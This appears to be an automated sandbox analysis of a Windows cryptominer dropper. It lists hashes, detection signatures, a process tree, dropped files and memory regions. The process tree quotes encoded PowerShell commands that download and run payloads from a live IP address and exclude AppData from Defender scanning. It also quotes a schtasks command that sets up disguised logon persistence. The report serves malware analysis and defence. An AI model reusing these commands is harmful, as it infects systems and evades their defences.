Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    06-01-2023 01:42

General

  • Target

    file.exe

  • Size

    35KB

  • MD5

    cf841e717eb906b582cfd9db15a78eba

  • SHA1

    a329fe96b29b19881fbc8d329744783a0814a8dc

  • SHA256

    4a918ffe62fbbf1e196ed10be9a772a9a7889c43056ae8b3ebd16ece60a3b589

  • SHA512

    6c98589a2056add9e6f477134dc96ff29364587a2019bd16a0da4faa931d983e824fe7b907b004b9217b8ef3f06d08a27c48712d2ee26bc0b968911ccfae5940

  • SSDEEP

    768:Xn/web++Xra0byjOFHsGy4r/wOPpdwMNhghy0q9:X/dzXra0hu4kmTghy0w

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1872
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1608
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
              6⤵
              • Creates scheduled task(s)
              PID:396
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1104
            • C:\Windows\system32\schtasks.exe
              schtasks /run /tn "GoogleUpdateTaskMachineQC"
              6⤵
                PID:1580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {6F376A2B-F75C-46EE-8178-AEDB74C15843} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1896
      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe "cvxjxkjice"
            4⤵
              PID:988
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1628

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        1cb51df7ec6b1a18ef39a539f1daefa1

        SHA1

        5122b2e030a51076dbae95a2a7d8bf26d7907503

        SHA256

        7c37ed0c84ca86c62a5e2e1b057fc4fcc4dfc9ba4d1f6fe5745622e85dc2504e

        SHA512

        6b0939a918b224df84909824042d60c8f0637f99d94bf50d8953866b12c3a27b696fd9450986bdc08ca2726130d717329fa6dd8341600c8367e63d1e232da3a7

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        1cb51df7ec6b1a18ef39a539f1daefa1

        SHA1

        5122b2e030a51076dbae95a2a7d8bf26d7907503

        SHA256

        7c37ed0c84ca86c62a5e2e1b057fc4fcc4dfc9ba4d1f6fe5745622e85dc2504e

        SHA512

        6b0939a918b224df84909824042d60c8f0637f99d94bf50d8953866b12c3a27b696fd9450986bdc08ca2726130d717329fa6dd8341600c8367e63d1e232da3a7

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • memory/240-70-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp
        Filesize

        11.4MB

      • memory/240-59-0x000007FEFBA01000-0x000007FEFBA03000-memory.dmp
        Filesize

        8KB

      • memory/240-85-0x0000000002374000-0x0000000002377000-memory.dmp
        Filesize

        12KB

      • memory/240-66-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp
        Filesize

        10.1MB

      • memory/240-55-0x0000000000000000-mapping.dmp
      • memory/240-73-0x0000000002374000-0x0000000002377000-memory.dmp
        Filesize

        12KB

      • memory/240-80-0x000000000237B000-0x000000000239A000-memory.dmp
        Filesize

        124KB

      • memory/240-86-0x000000000237B000-0x000000000239A000-memory.dmp
        Filesize

        124KB

      • memory/396-100-0x0000000000000000-mapping.dmp
      • memory/872-105-0x0000000000000000-mapping.dmp
      • memory/988-108-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/988-110-0x0000000000000000-mapping.dmp
      • memory/988-114-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/988-111-0x00000000001A0000-0x00000000001BA000-memory.dmp
        Filesize

        104KB

      • memory/988-112-0x0000000000350000-0x000000000035E000-memory.dmp
        Filesize

        56KB

      • memory/1064-57-0x0000000000000000-mapping.dmp
      • memory/1064-87-0x0000000002664000-0x0000000002667000-memory.dmp
        Filesize

        12KB

      • memory/1064-102-0x0000000002664000-0x0000000002667000-memory.dmp
        Filesize

        12KB

      • memory/1064-72-0x0000000002664000-0x0000000002667000-memory.dmp
        Filesize

        12KB

      • memory/1064-84-0x000000000266B000-0x000000000268A000-memory.dmp
        Filesize

        124KB

      • memory/1064-65-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp
        Filesize

        10.1MB

      • memory/1064-79-0x000000001B7B0000-0x000000001BAAF000-memory.dmp
        Filesize

        3.0MB

      • memory/1064-103-0x000000000266B000-0x000000000268A000-memory.dmp
        Filesize

        124KB

      • memory/1064-96-0x000000000266B000-0x000000000268A000-memory.dmp
        Filesize

        124KB

      • memory/1064-69-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp
        Filesize

        11.4MB

      • memory/1104-99-0x0000000000000000-mapping.dmp
      • memory/1388-54-0x00000000009C0000-0x00000000009D0000-memory.dmp
        Filesize

        64KB

      • memory/1580-101-0x0000000000000000-mapping.dmp
      • memory/1608-97-0x0000000000000000-mapping.dmp
      • memory/1628-115-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-130-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-118-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-141-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-116-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-122-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-140-0x0000000000000000-0x0000000001000000-memory.dmp
        Filesize

        16.0MB

      • memory/1628-139-0x00000000002A0000-0x00000000002C0000-memory.dmp
        Filesize

        128KB

      • memory/1628-132-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-131-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-134-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-120-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-138-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-128-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-126-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-125-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-137-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-124-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1628-135-0x000000014036EAC4-mapping.dmp
      • memory/1728-90-0x0000000000000000-mapping.dmp
      • memory/1872-95-0x000000001B640000-0x000000001BA74000-memory.dmp
        Filesize

        4.2MB

      • memory/1872-92-0x00000000000D0000-0x000000000052B000-memory.dmp
        Filesize

        4.4MB

      • memory/1872-94-0x000000001BAA0000-0x000000001BEFC000-memory.dmp
        Filesize

        4.4MB

      • memory/2012-82-0x000000000250B000-0x000000000252A000-memory.dmp
        Filesize

        124KB

      • memory/2012-58-0x0000000000000000-mapping.dmp
      • memory/2012-67-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp
        Filesize

        10.1MB

      • memory/2012-75-0x0000000002504000-0x0000000002507000-memory.dmp
        Filesize

        12KB

      • memory/2012-76-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp
        Filesize

        11.4MB

      • memory/2012-107-0x00000000020B0000-0x00000000020B6000-memory.dmp
        Filesize

        24KB

      • memory/2012-77-0x000000001B8C0000-0x000000001BBBF000-memory.dmp
        Filesize

        3.0MB

      • memory/2012-81-0x0000000002504000-0x0000000002507000-memory.dmp
        Filesize

        12KB

      • memory/2036-78-0x000000001B770000-0x000000001BA6F000-memory.dmp
        Filesize

        3.0MB

      • memory/2036-56-0x0000000000000000-mapping.dmp
      • memory/2036-68-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp
        Filesize

        10.1MB

      • memory/2036-74-0x00000000028E4000-0x00000000028E7000-memory.dmp
        Filesize

        12KB

      • memory/2036-71-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp
        Filesize

        11.4MB

      • memory/2036-83-0x00000000028EB000-0x000000000290A000-memory.dmp
        Filesize

        124KB

      • memory/2036-88-0x00000000028E4000-0x00000000028E7000-memory.dmp
        Filesize

        12KB

      • memory/2036-93-0x00000000028EB000-0x000000000290A000-memory.dmp
        Filesize

        124KB